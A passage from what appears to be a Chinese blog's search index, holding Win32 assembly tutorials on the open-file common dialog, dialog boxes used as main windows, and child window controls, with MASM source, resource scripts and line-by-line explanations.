PostQuitMessage,NULL .ELSEIF uMsg==WM_COMMAND mov eax,wParam .if ax==IDM_OPEN mov ofn.lStructSize,SIZEOF ofn push hWnd pop ofn.hwndOwner push hInstance pop ofn.hInstance mov ofn.lpstrFilter, OFFSET FilterString mov ofn.lpstrFile, OFFSET buffer mov ofn.nMaxFile,MAXSIZE mov ofn.Flags, OFN_FILEMUSTEXIST or \\ OFN_PATHMUSTEXIST or OFN_LONGNAMES or\\ OFN_EXPLORER or OFN_HIDEREADONLY mov ofn.lpstrTitle, OFFSET OurTitle invoke GetOpenFileName, ADDR ofn .if eax==TRUE invoke lstrcat,offset OutputString,OFFSET FullPathName invoke lstrcat,offset OutputString,ofn.lpstrFile invoke lstrcat,offset OutputString,offset CrLf invoke lstrcat,offset OutputString,offset FullName mov eax,ofn.lpstrFile push ebx xor ebx,ebx mov bx,ofn.nFileOffset add eax,ebx pop ebx invoke lstrcat,offset OutputString,eax invoke lstrcat,offset OutputString,offset CrLf invoke lstrcat,offset OutputString,offset ExtensionName mov eax,ofn.lpstrFile push ebx xor ebx,ebx mov bx,ofn.nFileExtension add eax,ebx pop ebx invoke lstrcat,offset OutputString,eax invoke MessageBox,hWnd,OFFSET OutputString,ADDR AppName,MB_OK invoke RtlZeroMemory,offset OutputString,OUTPUTSIZE .endif .else invoke DestroyWindow, hWnd .endif .ELSE invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .ENDIF xor eax,eax ret WndProc endp end start 1 2 3 4 5 6 7 8 9 10 11 ;-------------------------------------------------------------------------------- ;menu.rc ;-------------------------------------------------------------------------------- #define IDM_OPEN 1 #define IDM_EXIT 2 FirstMenu MENU { MENUITEM \u0026#34;\u0026amp;Open\u0026#34;,IDM_OPEN MENUITEM \u0026#34;E\u0026amp;xit\u0026#34;,IDM_EXIT } 分析: 1 2 3 4 5 mov ofn.lStructSize,SIZEOF ofn push hWnd pop ofn.hwndOwner push hInstance pop ofn.hInstance 我们在此填充结构体OPENFILENAME变量ofn的有关成员。\n1 mov ofn.lpstrFilter, OFFSET FilterString 这里FilterString 是文件过滤模式的字符串地址，我们指定的过滤模式字符串如下:\n1 2 FilterString db \u0026#34;All Files\u0026#34;,0,\u0026#34;*.*\u0026#34;,0 db \u0026#34;Text Files\u0026#34;,0,\u0026#34;*.txt\u0026#34;,0,0 注意:所有的模式串都是配对的，前一个是描述，后一个才是真正的模式，此处*.*和*.txt是WIONDOWS用来寻找匹配的欲打开的文件的。我们当能可以指定任何模式，但是不要忘记在结尾处加0以代表字符串已结束，否则您的对话框在操作时可能不稳定。\n1 2 mov ofn.lpstrFile, OFFSET buffer mov ofn.nMaxFile,MAXSIZE 这里是把缓冲区的地址放到结构体中，同时必须设定大小。以后我们可以随意编辑在该缓冲区中返回的信息。\n1 2 3 mov ofn.Flags, OFN_FILEMUSTEXIST or \\ OFN_PATHMUSTEXIST or OFN_LONGNAMES or\\ OFN_EXPLORER or OFN_HIDEREADONLY Flags 中放入的是对话框的风格和特性值。 其中OFN_FILEMUSTEXIST和 OFN_PATHMUSTEXIST要求用户在打开对话框的编辑控件中输入的文件名或路径名必须存在。 OFN_LONGNAMES 告诉对话框显示长文件名。 OFN_EXPLORER 告诉WINDOWS对话框的外观必须类似资源管理器。 OFN_HIDEREADONLY 指定不要显示只读文件(既使它的扩展名符合过滤模式)。 除此之外，还有许多其它的标志位，您可以参考有关WIN32 API手册。\n1 mov ofn.lpstrTitle, OFFSET OurTitle 指定打开文件对话框的标题名。\n1 invoke GetOpenFileName, ADDR ofn 调用GetOpenFileName函数，并传入指向结构体ofn的指针。 这时候，打开文件对话框就显示出来了，GetOpenFileName函数要一直等到用户选择了一个文件后才会返回，或者当用户按下了CANCEL键或关闭对话框时。 当用户选择了打开一个文件时，该函数返回TRUE， 否则返回FALSE。\n1 2 3 4 5 .if eax==TRUE invoke lstrcat,offset OutputString,OFFSET FullPathName invoke lstrcat,offset OutputString,ofn.lpstrFile invoke lstrcat,offset OutputString,offset CrLf invoke lstrcat,offset OutputString,offset FullName 当用户选择打开一个文件时，我们就在一个对话框中显示一个字符串，我们先给OutputString变量分配内存，然后调用PAI 函数lstrcat，把所有的字符串连到一起，为了让这些字符串分行显示，我们必须在每个字符串后面加一个换行符。\n1 2 3 4 5 6 7 mov eax,ofn.lpstrFile push ebx xor ebx,ebx mov bx,ofn.nFileOffset add eax,ebx pop ebx invoke lstrcat,offset OutputString,eax 上面这几行可能需要一些解释。nFileOffset的值等于被打开文件的全路径名中的文件名的第一个字符的索引，由于nFileOffset是一个WORD型变量，而lpstrFile是一个DWORD型的指针，所以我们就要作一转换把nFileOffset存入ebx寄存器的底字节，然后再加到eax寄存器中得到DWORD型的指针。\n1 invoke MessageBox,hWnd,OFFSET OutputString,ADDR AppName,MB_OK 我们在对话框中显示该字符串。\n1 invoke RtlZerolMemory,offset OutputString,OUTPUTSIZE 为了下一次能正确地显示，必须清除缓冲区，我们调用函数RtlZerolMemory来做这件事。\n","permalink":"https://www.hacktech.cn/post/2018/02/win32-asm-study-11/","summary":"\u003cp\u003e我们将进一步学习对话框，探讨如何把对话框当成输入设备。如果您看了前一篇文章，那就会发现这次的例子只有少量的改动，就是把我们的对话框窗口附属到主窗口上。另外，我们还要学习通用对话框的用法。\u003c/p\u003e","title":"Win32汇编学习(11)：对话框(2)"},{"content":"现在我们开始学习一些有关GUI编程的有趣的部分：以对话框为主要界面的应用程序。\n理论： 如果您仔细关注过前一个程序就会发现：您无法按TAB键从一个子窗口控件跳到另一个子窗口控件，要想转移的话只有 用鼠标一下一下地去点击。对用户来说这是不友好的。另一件事是如果您象前一课中那样把主窗口的背景色从白色改成 灰色，为了子窗口控件无缝地作相应地改变，您必须仔细分类所有子窗口。 造成上述诸多不便的原因是子窗口控件本来是为对话框而设计的，像子窗口控件的背景色是灰色的，而对话框的背景色也是 灰色的，这样它们本来就相互协调了，而无须程序员加入其他的处理。 在我们深入讨论对话框前我们必须知道何谓对话框。\n何谓对话框 一个对话框其实是有很多的子窗口控件的一个窗口，WINDOWS在对话框 内部有一个管理程序，由其来处理象按下TAB键则输入焦点从一个子窗口空间条到另一个子窗口控件、按下ENTER键等于在当 前具有输入焦点的子窗口控件上点击了鼠标 等等这些杂事，这样程序员就可以集中精力于他们的逻辑事务了。对话框主要用 作输入输出接口，人们无须知道它们内部的工作原理，而只要知道如何和他们进行交互就可以了。这也是面向对象设计中的 所谓信息隐藏。只要这个黑盒子中的实现足够完美，我们就可以放心地使用，当然我们必须强调的是“黑盒子”必须完美。 WIN32 API 内部 的实现即是一个“黑盒子”。 现在让我们回到正题来，对话框的设计是为了减少程序员的工作量的，一般您如果在窗口中 自己放一个子窗口控件您就必须自己处理其中的按键逻辑和细分类它的窗口过程。如果您把它放到对话框中，则这些杂事 对话框会自己处理，您只要知道如何获得用户输入的数据和如何把数据放入到子窗口控件中去就可以了。 在程序中对话框和菜单一样被定义成一种资源，您可以在脚本文件中写一个对话框模板，其中包含该对话框和子窗口的特性， 然后用资源编辑器编辑。需要注意的是所有的资源必须放在同一个脚本文件中。 虽然可以用文本编辑器去编辑脚本文件，但是象要调整子窗口控件位置时要涉及到一些坐标值时最好还是用一些可视化的编 辑器，这样方便多了。一般在编译器的开发包中都会带资源编辑器，您可以用它们来产生一个模板然后增删一些子窗口控件。\n对话框的分类 有两种主要的对话框：模式对话框和无模式对话框。无模式对话框允许您把输入焦点切换到（同一个应用程序的）另一个窗口，而该对话框无须关闭 。比如WORD 中的FIND对话框。模式对话框又有两类：应用程序模式对话框和系统对话框。应用程序对话框不允许您在本 应用程序中切换输入焦点，但是可以切换到其它的应用程序中去，而系统对话框则必须您对该对话框做出响应否则不能切换到 任何的应用程序中去。要创建一个无模式对话框调用API函数CreateDialogParam，而创建一个模式对话框则调用API函数DialogBoxParam。 其中应用程序模式对话框和系统模式对话框之间的差别是style参数不同，要想创建一个系统模式对话框该参数必须“or”上 DS_SYSMODAL标志位。在对话框中若要和子窗口控件通讯则调用函数SendDlgItemMesage。该函数的语法如下：\n1 2 3 4 5 SendDlgItemMessage proto hwndDlg:DWORD,\\ idControl:DWORD,\\ uMsg:DWORD,\\ wParam:DWORD,\\ lParam:DWORD 该API函数对于用在向子窗口控件发送消息方面是非常有用的。譬如:如果您想得到edit控件中的字符串可以这么做:\n1 call SendDlgItemMessage, hDlg, ID_EDITBOX, WM_GETTEXT, 256, ADDR text_buffer 具体要发送那些消息应当查询有关的WIN32 API 参考手册。 WINDOWS 还 提供几个快速存取控件数据的函数。譬如：GetDlgItemText、CheckDlgButton等。这样一来，您就可以不用去查询每个消息的wParam和lParam参数获得相关信息了。您应尽可能地使用这些API 函数，这样使得您的代码将来比较容易维护。对话框的管理函数会把一些消息发送给一个特定的回调函数：对话框过程处理函数，该函数的格式为：\n1 2 3 4 DlgProc proto hDlg:DWORD ,\\ iMsg:DWORD ,\\ wParam:DWORD ,\\ lParam:DWORD 该函数的格式非常类似于窗口的过程函数，除了返回值是TURE和FALSE，而不是HRESULT，存在于WINDOWS内部的对话框管理器才是对话框真正的窗口过程函数。它会把某些消息传递给我们的窗口过程函数。所以当我们的窗口过程函数处理这些消息时就返回TRUE，否则就在eax中返回FALSE。这也意味着我们的窗口过程函数在接受到自己不处理的消息时并不会调用DefWindowProc函数，因为它本身不是一个真正的窗口过程函数。对于对话框有两种用法：一种是把它作为一个主窗口来用，一种是把它作为一种输入输出设备使用。这次我们将示范第一种用法。“把对话框用作主窗口”有两种意思：\n您可以调用RegisterClassEx函数把对话框模板注册为一个窗口类。这样该对话框的行为就类似于一个普通的窗口了：它通过在注册窗口时指定的窗口过程来处理所有的消息，通过这种方法来使用对话框的好处是您不需要显示地创建子窗口控件，WINDOWS本身会帮您创建好，另外还会帮您处理所有的按键逻辑，另外您还可以指定您窗口类结构中的光标和图标； 您的应用程序创建没有父窗口的对话框窗口，这种方法中，没有必要需要一段处理消息循环的代码，因为所有的消息被直接送到对话框过程处理函数，这样您也可以不要注册一个窗口类。我们将先使用第一种方法然后使用第二种方法。 例子： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 ;-------------------------------------------------------------------------------- ;dialog.asm ;-------------------------------------------------------------------------------- .386 .model flat,stdcall option casemap:none WinMain proto :DWORD,:DWORD,:DWORD,:DWORD include windows.inc include user32.inc include kernel32.inc includelib user32.lib includelib kernel32.lib .data ClassName db \u0026#34;DLGCLASS\u0026#34;,0 MenuName db \u0026#34;MyMenu\u0026#34;,0 DlgName db \u0026#34;MyDialog\u0026#34;,0 AppName db \u0026#34;Our First Dialog Box\u0026#34;,0 TestString db \u0026#34;Wow! I\u0026#39;m in an edit box now\u0026#34;,0 .data? hInstance HINSTANCE ? CommandLine LPSTR ? buffer db 512 dup(?) .const IDC_EDIT equ 3000 IDC_BUTTON equ 3001 IDC_EXIT equ 3002 IDM_GETTEXT equ 32000 IDM_CLEAR\tequ 32001 IDM_EXIT\tequ 32002 .code start: invoke GetModuleHandle,NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain,hInstance,NULL,CommandLine,SW_SHOWDEFAULT invoke ExitProcess,eax WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hDlg:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style,CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc,offset WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,DLGWINDOWEXTRA push hInst pop wc.hInstance mov wc.hbrBackground,COLOR_BTNFACE+1 mov wc.lpszMenuName,offset MenuName mov wc.lpszClassName,offset ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx,addr wc invoke CreateDialogParam,hInstance,addr DlgName,NULL,NULL,NULL mov hDlg,eax invoke ShowWindow,hDlg,SW_SHOWNORMAL invoke UpdateWindow,hDlg invoke GetDlgItem,hDlg,IDC_EDIT invoke SetFocus,eax .while TRUE invoke GetMessage,addr msg,NULL,0,0 .break .if (!eax) invoke IsDialogMessage,hDlg,addr msg .if eax==FALSE invoke TranslateMessage,addr msg invoke DispatchMessage,addr msg .endif .endw mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM .if uMsg==WM_DESTROY invoke PostQuitMessage,NULL .elseif uMsg==WM_COMMAND mov eax,wParam .if lParam==0 .if ax==IDM_GETTEXT invoke GetDlgItemText,hWnd,IDC_EDIT,addr buffer,512 invoke MessageBox,NULL,addr buffer,addr AppName,MB_OK .elseif ax==IDM_CLEAR invoke SetDlgItemText,hWnd,IDC_EDIT,NULL .else invoke DestroyWindow,hWnd .endif .else mov edx,wParam shr edx,16 .if dx==BN_CLICKED .if ax==IDC_BUTTON invoke SetDlgItemText,hWnd,IDC_EDIT,addr TestString .elseif ax==IDC_EXIT invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0 .endif .endif .endif .else invoke DefWindowProc,hWnd,uMsg,wParam,lParam ret .endif xor eax,eax ret WndProc endp end start 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ;-------------------------------------------------------------------------------- ;Dialog.rc ;-------------------------------------------------------------------------------- #include \u0026#34;c:\\masm32\\include\\RESOURCE.h\u0026#34; #define IDC_EDIT 3000 #define IDC_BUTTON 3001 #define IDC_EXIT 3002 #define IDM_GETTEXT 32000 #define IDM_CLEAR 32001 #define IDM_EXIT\t32003 MyDialog DIALOG 10,10,205,60 STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX | WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK CAPTION \u0026#34;Our First Dialog Box\u0026#34; CLASS \u0026#34;DLGCLASS\u0026#34; { EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT DEFPUSHBUTTON \u0026#34;Say Hello\u0026#34;, IDC_BUTTON, 141,10,52,13 PUSHBUTTON \u0026#34;E\u0026amp;xit\u0026#34;, IDC_EXIT, 141,26,52,13, WS_GROUP } MyMenu MENU { POPUP \u0026#34;Test Controls\u0026#34; { MENUITEM \u0026#34;Get Text\u0026#34;, IDM_GETTEXT MENUITEM \u0026#34;Clear Text\u0026#34;, IDM_CLEAR MENUITEM \u0026#34;\u0026#34;, , 0x0800 /*MFT_SEPARATOR*/ MENUITEM \u0026#34;E\u0026amp;xit\u0026#34;, IDM_EXIT } } 分析： 我们先来分析第一个例子： 该例显示了如何把一个对话框模板注册成一个窗口类，然后创建一个由该窗口类派生的窗口。由于您没有必要自己去创建子窗口控件，所以就简化了许多的工作。 我们先来分析对话框模板。\n1 MyDialog DIALOG 10, 10, 205, 60 先是对话框的名字，然后是关键字DAILOG。接下来的四个数字中，前两个是对话框的坐标，后两个是对话框的宽和高（注意：它们的单位是对话框的单位，而不一定是像素点）。\n1 STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX | WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK 上面定义了对话框的风格。\n1 CAPTION \u0026#34;Our First Dialog Box\u0026#34; 这是显示在对话框标题条上的标题。\n1 CLASS \u0026#34;DLGCLASS\u0026#34; 这一行非常关键。正是有了关键字CLASS，我们才可以用它来声明把一个对话框当成一个窗口来用。跟在关键字后面的是“窗口类”的名称。\n1 2 3 4 5 { EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT DEFPUSHBUTTON \u0026#34;Say Hello\u0026#34;, IDC_BUTTON, 141,10,52,13 PUSHBUTTON \u0026#34;E\u0026amp;xit\u0026#34;, IDC_EXIT, 141,26,52,13 } 上面的一块定义了对话框中的子窗口控件，它们是声明在{}之间的。\n1 control-type \u0026#34;text\u0026#34; ,controlID, x, y, width, height [,styles] 控件的类型是资源编辑器定义好了的常数，您可以查找有关的手册。 现在我们来看看汇编源代码。先看这部分：\n1 2 mov wc.cbWndExtra,DLGWINDOWEXTRA mov wc.lpszClassName,OFFSET ClassName 通常cbWndExtra被设成NULL，但我们想把一个对话框模板注册成一个窗口类，我们必须把该成员的值设成DLGWINDOWEXTRA。注意类的名称必须和模板中跟在CLASS关键字后面的名称一样。余下的成员变量和声明一般的窗口类相同。填写好窗口类结构变量后调用函数RegisterClassEx进行注册。看上去这一切和注册一个普通的窗口类是一样的。\n1 invoke CreateDialogParam,hInstance,ADDR DlgName,NULL,NULL,NULL 注册完毕后，我们就创建该对话框。在这个例子中，我们调用函数CreateDialogParam产生一个无模式对话框。这个函数共有5个参数，其中前两个参数是必须的：实例句柄和指向对话框模板名称的指针。注意第二个参数是指向模板名称而不是类名称的指针。这时，WINDOWS将产生对话框和子控件窗口。同时您的应用程序将接收到由WINDOWS传送的第一个消息WM_CREATE。\n1 2 invoke GetDlgItem,hDlg,IDC_EDIT invoke SetFocus,eax 在对话框产生后，我们把输入输出焦点设到编辑控件上。如果在WM_CREATE消息处理段中假如设置焦点的代码，GetDlgItem函数就会失败，因为此时空间窗口还未产生，为了在对话框和所有的子窗口控件都产生后调用该函数我们把它安排到了函数UpdatWindow后，GetDlgItem函数返回该控件的窗口句柄。\n1 2 3 4 5 invoke IsDialogMessage, hDlg, ADDR msg .IF eax ==FALSE invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg .ENDIF 现在程序进入消息循环，在我们翻译和派发消息前，该函数使得对话框内置的对话框管理程序来处理有关的键盘跳转逻辑。如果该函数返回TRUE，则表示消息是传给对话框的已经由该函数处理了。注意和上篇文章中不同，当我们想得到控件的文本信息时调用GetDlgItemText函数而不是GetWindowText函数，前者接受的参数是一个控件的ID 号，而不是窗口的句柄，这使得在对话框中调用该函数更方便。\n好我们现在使用第二种方法把一个对话框当成一个主窗口来使用。在接下来的例子中，我们将产生一个应用程序的模式对话框，您将会发现其中根本没有消息循环或窗口处理过程，因为它们根本没有必要！\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 ;-------------------------------------------------------------------------------- ;dialog.asm (part 2) ;-------------------------------------------------------------------------------- .386 .model flat,stdcall option casemap:none DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD include windows.inc include user32.inc include kernel32.inc includelib user32.lib includelib kernel32.lib .data DlgName db \u0026#34;MyDialog\u0026#34;,0 AppName db \u0026#34;Our Second Dialog Box\u0026#34;,0 TestString db \u0026#34;Wow! I\u0026#39;m in an edit box now\u0026#34;,0 .data? hInstance HINSTANCE ? CommandLine LPSTR ? buffer db 512 dup(?) .const IDC_EDIT equ 3000 IDC_BUTTON equ 3001 IDC_EXIT equ 3002 IDM_GETTEXT equ 32000 IDM_CLEAR\tequ 32001 IDM_EXIT\tequ 32002 .code start: invoke GetModuleHandle,NULL mov hInstance,eax invoke DialogBoxParam,hInstance,addr DlgName,NULL, addr DlgProc,NULL invoke ExitProcess,eax DlgProc proc hWnd:HWND,uMsg:UINT,wParam:WPARAM,lParam:LPARAM .if uMsg==WM_INITDIALOG invoke GetDlgItem,hWnd,IDC_EDIT invoke SetFocus,eax .elseif uMsg==WM_CLOSE invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0 .elseif uMsg==WM_COMMAND mov eax,wParam .if lParam==0 .if ax==IDM_GETTEXT invoke GetDlgItemText,hWnd,IDC_EDIT,addr buffer,512 invoke MessageBox,NULL,addr buffer,addr AppName,MB_OK .elseif ax==IDM_CLEAR invoke SetDlgItemText,hWnd,IDC_EDIT,NULL .elseif ax==IDM_EXIT invoke EndDialog,hWnd,NULL .endif .else mov edx,wParam shr edx,16 .if dx==BN_CLICKED .if ax==IDC_BUTTON invoke SetDlgItemText,hWnd,IDC_EDIT,addr TestString .elseif ax==IDC_EXIT invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0 .endif .endif .endif .else mov eax,FALSE ret .endif mov eax,TRUE ret DlgProc endp end start 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 ;-------------------------------------------------------------------------------- ;dialog.rc (part 2) ;-------------------------------------------------------------------------------- #include \u0026#34;c:\\masm32\\include\\RESOURCE.h\u0026#34; #define IDC_EDIT 3000 #define IDC_BUTTON 3001 #define IDC_EXIT 3002 #define IDM_GETTEXT 32000 #define IDM_CLEAR 32001 #define IDM_EXIT\t32003 MyDialog DIALOG 10,10,205,60 STYLE 0x0004 | DS_CENTER | WS_CAPTION | WS_MINIMIZEBOX | WS_SYSMENU | WS_VISIBLE | WS_OVERLAPPED | DS_MODALFRAME | DS_3DLOOK CAPTION \u0026#34;Our Second Dialog Box\u0026#34; MENU IDR_MENU1 { EDITTEXT IDC_EDIT, 15,17,111,13, ES_AUTOHSCROLL | ES_LEFT DEFPUSHBUTTON \u0026#34;Say Hello\u0026#34;, IDC_BUTTON, 141,10,52,13 PUSHBUTTON \u0026#34;E\u0026amp;xit\u0026#34;, IDC_EXIT, 141,26,52,13, WS_GROUP } IDR_MENU1 MENU { POPUP \u0026#34;Test Controls\u0026#34; { MENUITEM \u0026#34;Get Text\u0026#34;, IDM_GETTEXT MENUITEM \u0026#34;Clear Text\u0026#34;, IDM_CLEAR MENUITEM \u0026#34;\u0026#34;, , 0x0800 /*MFT_SEPARATOR*/ MENUITEM \u0026#34;E\u0026amp;xit\u0026#34;, IDM_EXIT } } 分析如下：\n1 DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD 我们已经定义了DlgProc函数的原型，所以可以用操作符ADDR来获得它的地址（ADDR可以在运行时动态地获得标识符的有效地址）：\n1 invoke DialogBoxParam, hInstance, ADDR DlgName,NULL, addr DlgProc, NULL 上面的几行调用了函数DialogBoxParam，该函数有五个参数，分别是：实例句柄、对话框模板的名字、父窗口的句柄、对话框过程函数的地址、和对话框相关的数据。该函数产生一个模式对话框。如果不显式地关闭该函数不会返回。\n1 2 3 4 5 .IF uMsg==WM_INITDIALOG invoke GetDlgItem, hWnd,IDC_EDIT invoke SetFocus,eax .ELSEIF uMsg==WM_CLOSE invoke SendMessage,hWnd,WM_COMMAND,IDM_EXIT,0 除了不处理WM_CREATE消息外对话框的窗口处理过程函数和一般的窗口处理过程相似。该过程函数接收到的第一个消息是WM_INITDIALOG。通常把初始化的代码放到此处。注意如果您处理该消息必须在eax中返回TRUE。内置的对话框管理函数不会把WM_DESTROY 消息发送到对话框的消息处理函数，所以如果我们想在对话框关闭时进行处理，就把它放到WM_CLOSE消息的处理中。在我们的例子中我们发送消息WM_COMMAND，并在参数wParam中放置IDM_EXIT，这和处理WM_CLOSE 消息效果一样，在处理IDM_EXIT 中我们调用EndDialog函数。如果我们想要销毁一个对话框，必须调用EndDialog函数，该函数并不会立即销毁一个窗口，而是设置一个标志位，然后对话框管理器会处理接下去的销毁对话框动作。好，现在我们来看看资源文件，其中最显著的变化是在指定菜单时我们不是用字符串指定该菜单的名称而是用了一个常量 IDR_MENU1。在调用DialogBoxParam产生的对话框中挂接一个菜单必须这么做，注意在该对话框模板中，在该标识符前必须加MENU关键字，这两个例子中的显著不同是后者没有图标，这可以在处理WM_INITDIALOG中发送消息WM_SETICON消息，然后在该消息处理代码中作适当的处理即可。\n","permalink":"https://www.hacktech.cn/post/2018/02/win32-asm-study-10/","summary":"\u003cp\u003e现在我们开始学习一些有关GUI编程的有趣的部分：以对话框为主要界面的应用程序。\u003c/p\u003e","title":"Win32汇编学习(10)：对话框(1)"},{"content":"这次我们将探讨控件，这些控件是我们程序主要的输入输出设备。\n理论： WINDOWS 提供了几个预定义的窗口类以方便我们的使用。大多数时间内，我们把它们用在对话框中，所以我们一般就它们叫做子窗口控件。子窗口控件会自己处理消息，并在自己状态发生改变时通知父窗口。这样就大大地减轻了我们的编程工作，所以我们应尽可能地利用它们。本课中我们把这些控件放在窗口中以简化程序，但是大多数时间内子窗口控件都是放在对话框中的。我们示例中演示的子窗口控件包括：按钮、下拉菜单、检查框、单选按钮、编辑框等。使用子窗口控件时，先调用CreateWindow 或 CreateWindowEx。在这里由于WINDOWS 已经注册了这些子控件，所以无须我们再注册。当然我们不能改变它们的类名称。譬如：如果您想产生一个按钮，在调用上述两个函数时就必须指定类名为\u0026quot;button\u0026quot;。其他必须指定的参数还有父窗口的句柄和将要产生的子控件的ID号。子控件的ID号是用来标识子控件的，故也必须是唯一 的。子控件产生后，当其状态改变时将会向父窗口发送消息。一般我们应在父窗口的WM_CREATE消息中产生子控件。子控件向父窗口发送的消息是WM_COMMAND，并在传递的参数wPara的低位中包括控件的ID号，消息号在wParam的高位，lParam中则包括了子控件的窗口的句柄。各类控件有不同的消息代码集，详情请参见WIN32 API参考手册。父窗口也可以通过调用函数SendMessage向子控件发送消息，其中第一个参数是子控件的窗口句柄，第二个参数是要发送的消息号，附加的参数可以在wParam和lParam中传递，其实只要知道了某个窗口的句柄就可以用该函数向其发送相关消息。所以产生了子窗口后必须处理WM_COMMAND消息以便可以接收到子控件的消息。\n例子： 我们将写一个窗口，在该窗口中有一个编辑框和一个按钮。当您按下按钮时 ，会弹出一个对话框其中显示了您在编辑框中输入的内容。另外，该应用程序还有一个菜单，其中有四个菜单项：\nSay Hello \u0026ndash; 把一个字符串输入编辑控件； Clear Edit Box \u0026ndash; 清除编辑控件中的字符串； Get Text \u0026ndash; 弹出对话框显示编辑控件中的字符串； Exit \u0026ndash; 退出应用程序。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 .386 .model flat,stdcall option casemap:none WinMain proto :DWORD,:DWORD,:DWORD,:DWORD include \\masm32\\include\\windows.inc include \\masm32\\include\\user32.inc include \\masm32\\include\\kernel32.inc includelib \\masm32\\lib\\user32.lib includelib \\masm32\\lib\\kernel32.lib .data ClassName db \u0026#34;SimpleWinClass\u0026#34;,0 AppName db \u0026#34;Our First Window\u0026#34;,0 MenuName db \u0026#34;FirstMenu\u0026#34;,0 ButtonClassName db \u0026#34;button\u0026#34;,0 ButtonText db \u0026#34;My First Button\u0026#34;,0 EditClassName db \u0026#34;edit\u0026#34;,0 TestString db \u0026#34;Wow! I\u0026#39;m in an edit box now\u0026#34;,0 .data? hInstance HINSTANCE ? CommandLine LPSTR ? hwndButton HWND ? hwndEdit HWND ? buffer db 512 dup(?) ; buffer to store the text retrieved from the edit box .const ButtonID equ 1 ; The control ID of the button control EditID equ 2 ; The control ID of the edit control IDM_HELLO equ 1 IDM_CLEAR equ 2 IDM_GETTEXT equ 3 IDM_EXIT equ 4 .code start: invoke GetModuleHandle, NULL mov hInstance,eax invoke GetCommandLine mov CommandLine,eax invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT invoke ExitProcess,eax WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD LOCAL wc:WNDCLASSEX LOCAL msg:MSG LOCAL hwnd:HWND mov wc.cbSize,SIZEOF WNDCLASSEX mov wc.style, CS_HREDRAW or CS_VREDRAW mov wc.lpfnWndProc, OFFSET WndProc mov wc.cbClsExtra,NULL mov wc.cbWndExtra,NULL push hInst pop wc.hInstance mov wc.hbrBackground,COLOR_BTNFACE+1 mov wc.lpszMenuName,OFFSET MenuName mov wc.lpszClassName,OFFSET ClassName invoke LoadIcon,NULL,IDI_APPLICATION mov wc.hIcon,eax mov wc.hIconSm,eax invoke LoadCursor,NULL,IDC_ARROW mov wc.hCursor,eax invoke RegisterClassEx, addr wc invoke CreateWindowEx,WS_EX_CLIENTEDGE,ADDR ClassName, \\ ADDR AppName, WS_OVERLAPPEDWINDOW,\\ CW_USEDEFAULT, CW_USEDEFAULT,\\ 300,200,NULL,NULL, hInst,NULL mov hwnd,eax invoke ShowWindow, hwnd,SW_SHOWNORMAL invoke UpdateWindow, hwnd .WHILE TRUE invoke GetMessage, ADDR msg,NULL,0,0 .BREAK .IF (!eax) invoke TranslateMessage, ADDR msg invoke DispatchMessage, ADDR msg .ENDW mov eax,msg.wParam ret WinMain endp WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM .IF uMsg==WM_DESTROY invoke PostQuitMessage,NULL .ELSEIF uMsg==WM_CREATE invoke CreateWindowEx,WS_EX_CLIENTEDGE, ADDR EditClassName,NULL,\\ WS_CHILD or WS_VISIBLE or WS_BORDER or ES_LEFT or\\ ES_AUTOHSCROLL,\\ 